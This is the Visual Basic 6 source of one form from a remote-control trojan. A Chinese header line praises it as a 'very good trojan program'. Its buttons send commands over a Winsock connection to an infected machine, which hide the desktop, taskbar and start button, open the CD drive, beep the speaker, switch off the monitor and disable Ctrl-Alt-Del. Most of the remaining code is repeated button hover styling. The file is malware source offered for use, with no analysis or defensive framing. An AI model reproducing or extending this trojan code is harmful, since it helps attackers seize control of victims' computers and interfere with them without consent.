frmextra.frm

风暴木马非常好的木马程序

Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim FirstX, FirstY As Integer

Private Sub lblcapsoff_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "CapsLockOff"
frmMain.Status.Caption = "switching capslock off..."
End If
End Sub

Private Sub lblcapson_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "CapsLockOn"
frmMain.Status.Caption = "switching capslock on..."
End If
End Sub

Private Sub lblclosecd_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "CloseCD"
frmMain.Status.Caption = "closing cd rom drive..."
End If
End Sub

Private Sub lblctrloff_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "CtrlAltDelOff"
frmMain.Status.Caption = "enabling ctrl alt del..."
End If
End Sub

Private Sub lblctrlon_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "CtrlAltDelOn"
frmMain.Status.Caption = "disabling ctrl alt del..."
End If
End Sub

Private Sub lblhidedesktop_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "HideDesktop"
frmMain.Status.Caption = "hiding desktop..."
End If
End Sub

Private Sub lblhidestart_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "HideStartButton"
frmMain.Status.Caption = "hiding start button..."
End If
End Sub

Private Sub lblhidetaskbar_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "HideTaskBar"
frmMain.Status.Caption = "hiding the taskbar..."
End If
End Sub

Private Sub lblmonitoroff_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "MonitorOff"
frmMain.Status.Caption = "turning monitor off..."
End If
End Sub

Private Sub lblmonitoron_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "MonitorOn"
frmMain.Status.Caption = "turning monitor on..."
End If
End Sub

Private Sub lblnumoff_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "NumLockOff"
frmMain.Status.Caption = "switching the numlock off..."
End If
End Sub

Private Sub lblnumon_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "NumLockOn"
frmMain.Status.Caption = "switching numlock on..."
End If
End Sub

Private Sub lblopencd_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "OpenCD"
frmMain.Status.Caption = "opening cd rom drive..."
End If
End Sub

Private Sub lblscrolloff_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "ScrollLockOff"
frmMain.Status.Caption = "switching scrolllock off..."
End If
End Sub

Private Sub lblscrollon_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "ScrollLockOn"
frmMain.Status.Caption = "switching scrolllock on..."
End If
End Sub

Private Sub lblshowdesktop_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "ShowDesktop"
frmMain.Status.Caption = "showing desktop..."
End If
End Sub

Private Sub lblshowstart_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "ShowStartButton"
frmMain.Status.Caption = "showing starting button..."
End If
End Sub

Private Sub lblshowtaskbar_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "ShowTaskBar"
frmMain.Status.Caption = "showing taskbar..."
End If
End Sub

Private Sub lblstartspeaker_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "StartBeep"
frmMain.Status.Caption = "attempting to beep internal speaker..."
End If
End Sub

Private Sub lblstopspeaker_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
On Error Resume Next
If frmMain.WS.State = 0 Then
frmMain.Status.Caption = "you're not connected!..."
Else
frmMain.tmrright.Enabled = True
frmMain.WS.SendData "StopBeep"
frmMain.Status.Caption = "stopping internal speaker beeping..."
End If
End Sub

Private Sub picextra_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidedesktop.BackColor = &H8
lblshowdesktop.BackColor = &H8
lblhidestart.BackColor = &H8
lblshowstart.BackColor = &H8
lblhidetaskbar.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub

Private Sub title_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = vbLeftButton Then
    FirstX = X
    FirstY = Y
End If
End Sub

Private Sub title_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = vbLeftButton Then
    Me.Left = Me.Left + (X - FirstX)
    Me.Top = Me.Top + (Y - FirstY)
End If
cmdX.BackColor = &HFF8080
End Sub

Private Sub cmdX_Click()
Unload Me
End Sub

Private Sub cmdX_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
cmdX.ForeColor = &HC00000
End Sub

Private Sub lblhidedesktop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidedesktop.BackColor = &HFFC0C0
End Sub

Private Sub lblhidedesktop_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidedesktop.BackColor = &H800000
lblshowdesktop.BackColor = &H8
lblhidestart.BackColor = &H8
lblshowstart.BackColor = &H8
lblhidetaskbar.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub

Private Sub lblshowdesktop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblshowdesktop.BackColor = &HFFC0C0
End Sub

Private Sub lblshowdesktop_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblshowdesktop.BackColor = &H800000
lblhidedesktop.BackColor = &H8
lblhidestart.BackColor = &H8
lblshowstart.BackColor = &H8
lblhidetaskbar.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub

Private Sub lblhidestart_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidestart.BackColor = &HFFC0C0
End Sub

Private Sub lblhidestart_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidestart.BackColor = &H800000
lblhidedesktop.BackColor = &H8
lblshowdesktop.BackColor = &H8
lblshowstart.BackColor = &H8
lblhidetaskbar.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub

Private Sub lblshowstart_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblshowstart.BackColor = &HFFC0C0
End Sub

Private Sub lblshowstart_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblshowstart.BackColor = &H800000
lblhidedesktop.BackColor = &H8
lblshowdesktop.BackColor = &H8
lblhidestart.BackColor = &H8
lblhidetaskbar.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub

Private Sub lblhidetaskbar_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidetaskbar.BackColor = &HFFC0C0
End Sub

Private Sub lblhidetaskbar_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
lblhidetaskbar.BackColor = &H800000
lblhidedesktop.BackColor = &H8
lblshowdesktop.BackColor = &H8
lblhidestart.BackColor = &H8
lblshowstart.BackColor = &H8
lblshowtaskbar.BackColor = &H8
lblopencd.BackColor = &H8
lblclosecd.BackColor = &H8
lblstartspeaker.BackColor = &H8
lblstopspeaker.BackColor = &H8
lblmonitoron.BackColor = &H8
lblmonitoroff.BackColor = &H8
lblctrlon.BackColor = &H8
lblctrloff.BackColor = &H8
lblscrollon.BackColor = &H8
lblscrolloff.BackColor = &H8
lblcapson.BackColor = &H8
lblcapsoff.BackColor = &H8
lblnumon.BackColor = &H8
lblnumoff.BackColor = &H8
End Sub